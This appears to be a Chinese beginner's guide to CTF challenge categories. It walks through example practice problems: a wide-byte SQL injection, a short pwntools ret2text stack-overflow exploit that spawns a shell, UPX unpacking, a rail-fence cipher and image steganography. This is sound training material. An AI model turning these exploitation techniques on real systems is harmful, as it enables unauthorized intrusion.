我是谁:没有不好玩的CTF
2020-12-14 17:47:02 Author: www.freebuf.com(查看原文) 阅读量:234 收藏

CTF(Capture The Flag,夺旗赛)CTF 的前身是传统黑客之间的网络技术比拼游戏,起源于 1996 年第四届 DEFCON,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。 CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。

简介

随着国内外的CTFCTF竞赛模式具体分为以下三类:

  • 解题模式(Jeopardy)
    • 这种模式主要是在提供一个url,然后获取flag即可,主要包含以下5个大类的题目(WEB、PWN、REVERSE、CRYPTO、MISC),不同的赛事会有不同的细分。
  • 攻防模式(Attack-Defense)
    • 这种模式下多个队伍,可以实时通过做题多少,获取多少flag,在屏幕直观显示各队伍解题速度以及技术能力,最终通过得分排名分出胜负。
  • 混合模式(Mix)
    • 结合了解题模式与攻防模式的CTF赛制

本文主要介绍解题模式,分五类进行介绍,并且会针对不同类型分别进行举例分析,以及提供相对应下载地址,难度为入门级别,方便大家快速入门。

WEB

WEB的题都是基于各种问题的基础延申的,主要考察选手对于Web攻防相关知识的理解以及理解深度。例如常见的SQL注入,跨站脚本、SSRF、代码审计等等。

  • 必备知识点

OWASP Top 10、python、php等

  • 相关工具

burpsuite、sqlmap、namp、google浏览器里插件等。

  • 例题举例

地址:

http://hackinglab.cn/ShowQues.php?type=sqlinject

思路:

首先分析该题,考的的sql注入,

1607656476_5fd2e41c4a19e2041f5c6.png!small?1607656477242

所以思路寻找输入点,查看源码发现id,尝试get/post请求无果。1607656317_5fd2e37d0588262b44630.png!small?1607656317125

然后继续寻找输入点,怀疑可能通过图片传值,简单测试发现存在注入,宽字节注入。

1607657175_5fd2e6d7b9f2ad96810de.png!small?1607657175920

判断完注入就简单了,构造payload,获取图片名

1607657291_5fd2e74b4f30347b5afdf.png!small?1607657291701

访问即可获取flag

1607657330_5fd2e7722e274eda9e665.png!small?1607657330477

PWN

Pwn的题主要考察选手对于二进制漏洞的挖掘和利用能力,根据题目所给的二进制文件,进行逆向分析,找到相关漏洞,编写poc,即可获取flag,例如常见的堆栈溢出、格式化漏洞、整形漏洞等常见二进制漏洞。

  • 必备知识点

C 、python、windows、linux、数据结构

  • 相关工具

IDA、GDB、pwntools 、pwndbg 等

  • 例题举例

地址:https://www.ctfhub.com 技能树 -> PWN -> 栈溢出 -> ret2text

思路:

原理的话就是向该数据块写入超级多的的数据,导致数据越界,主要控制越界的恶意数据将栈中返回地址覆盖成之前的的堆栈数据,进而执行恶意代码。

首先利用ida分析该文件,查看main函数,可以判断get函数对用户输入无限制并且覆盖到栈上

1607925151_5fd6fd9fa7b19d828b4d8.png!small?1607925151927

后面通过测试偏移量,覆盖到对应位置构造payload即可

1607925852_5fd7005cb412f96563dd6.png!small?1607925853088

然后利用gdb测试溢出偏移量,测得112,最后编写payload执行即可获取shel。

#!/usr/bin/env python
from pwn import *

p = process('./ret2text')
t = 0x804863a
p.sendline('A' * (0x6c+4) + p32(t))
p.interactive()

1607929256_5fd70da8c50b5898e7561.png!small?1607929257165

REVERSE

Rverse的题主要考察选手逆向分析能力。要求有较强的反汇编、反编译能力。题目会给出一个可执行二进制文件,选手进行分析相关行为获得flag。例如一些程序逆向破解、反调试、控制流混淆等技术。

  • 必备知识点

汇编语言、代码分析、脱壳等

  • 相关工具

IDA、Ollydbg、Windbg等

  • 例题举例

地址:https://buuoj.cn/files/bbf9f68a97fd551edec384914d4f3fbe/93c43c5c-3d4d-4d17-a9a1-4ffb65ebb2fb.zip?token=eyJ0ZWFtX2lkIjpudWxsLCJ1c2VyX2lkIjoxOTAzLCJmaWxlX2lkIjoxNjZ9.XW-hEg.7BMROvySmduBj7-fRbmY3eU6kKE

BUUCTF-Re-新年快乐

思路:

第一步利用PEID查看壳,发现有UPX壳

1607931616_5fd716e01ed3dec45774d.png!small?1607931616267

这种简单的,直接利用脱壳即可,

1607931793_5fd7179143e139f2576e5.png!small?1607931793380

然后放入ida进行分析,主函数简单,输入一个v5和4相等,即可获取flag。

1607932058_5fd7189a9d5745361215f.png!small?1607932058782

CRYPTO

Crypto的题主要考察选手对密码学的研究,要求对各种加密算法的理解,根据题目所提供问题,进行解密破解,最终获取flag,例如常见的古典密码(移位密码、栅栏密码等)以及现代密码(分组密码、公钥密码、hash等)。

  • 必备知识点

各种加密方式、各种编码方式等。

  • 相关工具

这种工具很多集成的,可以直接利用,要不就是针对加密方式写程序。

  • 例题举例

地址:

2016-第五届山东省网络安全竞赛-Crypto-栅栏解救 https://www.ctfhub.com/

思路:

这里提示很明显,利用栅栏加密,我们只需要利用栅栏解密即可。

1607933346_5fd71da218621c57ec20e.png!small?1607933346175

MISC

Misc的题主要考察对选手进行一个安全的广度考察,基本上安全相关的都会涉及,通过分析相关题型,获取flag即可,例如常见的题型有图片视频隐写、流量分析、电子取证、人肉搜索等。

  • 必备知识点

各种安全知识混杂比如一些隐写术、流量分析、各种编码等/

  • 相关工具

Wireshark、各种隐写术工具等。

  • 例题举例

地址:百越杯-2018-Misc-马男波杰克

思路:

下载下来可以发现是一张图片,首先想到的就是隐写术

1607675195_5fd32d3b178bb4053e0ac.png!small?1607675196391

首先利用stegsolve分析一下无果

1607675452_5fd32e3c62d80c6154e32.png!small?1607675454933

然后查看二进制以及利用其他工具测试无果

1607911581_5fd6c89dcdfcaf19240d8.png!small?1607911583525

尝试在线解密http://www.jsons.cn/imghideinfo/即可

1607912051_5fd6ca73038fe2d862dc2.png!small?1607912052719

总结

CTF其实就是靠刷题,当你题型见多了,直接看题就会知道考哪些知识点,其实玩ctf就是为了一种感觉,每当攻破一道,获取一个flag,那种自豪感油然而生,所以这也是每一个ctf选手所坚持的利用,并不是每个人天生就会,都是通过日积月累,没日没夜的做题,才不断成为人人口中的大佬,希望大家都坚持下去,梦想也许在今天无法实现,但重要的是,它一直在你心里并且你一直在努力。

CTF推荐练习平台

CTF推荐工具


文章来源: https://www.freebuf.com/articles/web/257795.html
如有侵权请联系:admin#unsafe.sh